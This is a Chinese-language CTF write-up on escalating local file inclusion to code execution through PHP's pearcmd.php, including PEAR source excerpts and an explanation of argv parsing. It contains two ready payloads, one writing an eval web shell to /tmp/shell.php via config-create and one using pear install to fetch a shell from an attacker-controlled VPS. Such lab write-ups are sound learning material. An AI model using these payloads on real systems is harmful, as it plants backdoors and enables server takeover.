Pearcmd.php本地文件上传

[BUUCTF在线评测](https://buuoj.cn/challenges#[NewStarCTF 2023 公开赛道]Include 🍐)

这题目里面有个 LFI to RCE ,当时不知道什么意思,就顺着这么学习一下()

前提:要求题目 register_argc_argv On

pearcmd.php的文件位置:/usr/local/lib/php/pearcmd.php(正常情况)

源码:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
public static function readPHPArgv()
{
global $argv;
if (!is_array($argv)) {
if (!@is_array($_SERVER['argv'])) {
if (!@is_array($GLOBALS['HTTP_SERVER_VARS']['argv'])) {
$msg = "Could not read cmd args (register_argc_argv=Off?)";
return PEAR::raiseError("Console_Getopt: " . $msg);
}
return $GLOBALS['HTTP_SERVER_VARS']['argv'];
}
return $_SERVER['argv'];
}
return $argv;
}

可以看到,是通过$_SERVER['argv']来获取参数的

$_SERVER['argv']解析参数

1
2
3
<?php
var_dump($_SERVER['argv'])
?>

传入a=1&b=1和a=1+b=1的结果分别是:

1
2
3
array(1){[0]=>string(7)"a=1&b=1"}

array(2){[0]=>string(3)"a=1"[1]=>string(3)"b=1"}

说明:

1.&符不能分割参数,+号能分割参数的是

2.等号无法赋值,而是会直接被传进去当作参数。

Pear:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
#!/bin/sh                                                                                                                               
# first find which PHP binary to use
if test "x$PHP_PEAR_PHP_BIN" != "x"; then
PHP="$PHP_PEAR_PHP_BIN"
else
if test "/usr/local/bin/php" = '@'php_bin'@'; then
PHP=php
else
PHP="/usr/local/bin/php"
fi
fi

# then look for the right pear include dir
if test "x$PHP_PEAR_INSTALL_DIR" != "x"; then
INCDIR=$PHP_PEAR_INSTALL_DIR
INCARG="-d include_path=$PHP_PEAR_INSTALL_DIR"
else
if test "/usr/local/lib/php" = '@'php_dir'@'; then
INCDIR=`dirname $0`
INCARG=""
else
INCDIR="/usr/local/lib/php"
INCARG="-d include_path=/usr/local/lib/php"
fi
fi

exec $PHP -C -q $INCARG -d date.timezone=UTC -d output_buffering=1 -d variables_order=EGPCS -d open_basedir="" -d safe_mode=0 -d register_argc_argv="On" -d auto_prepend_file="" -d auto_append_file="" $INCDIR/pearcmd.php "$@"

发现实际上调用了pearcmd.php

而pear的命令中,有两个方法是可以利用的:

1.config-create

1
?+config-create+/&file=/usr/local/lib/php/pearcmd.php&/<?=@eval($_POST['cmd']);?>+/tmp/shell.php

这样就可以直接写一个shell.php上传,然后访问shell.php即可

2.install

1
?+install+--installroot+&file=/usr/local/lib/php/pearcmd.php&+http://[vps]:[port]/shell.php

这里就是可以将外部的shell文件下载进来,保存在:

&file=/usr/local/lib/php/pearcmd.php\&/tmp/pear/download/

PS:这里面前面的+号是必须的,因为程序直接对argv[1]进行分析,所以必须要使[0]位参数为空或者其他无效的字符,[1]后面放payload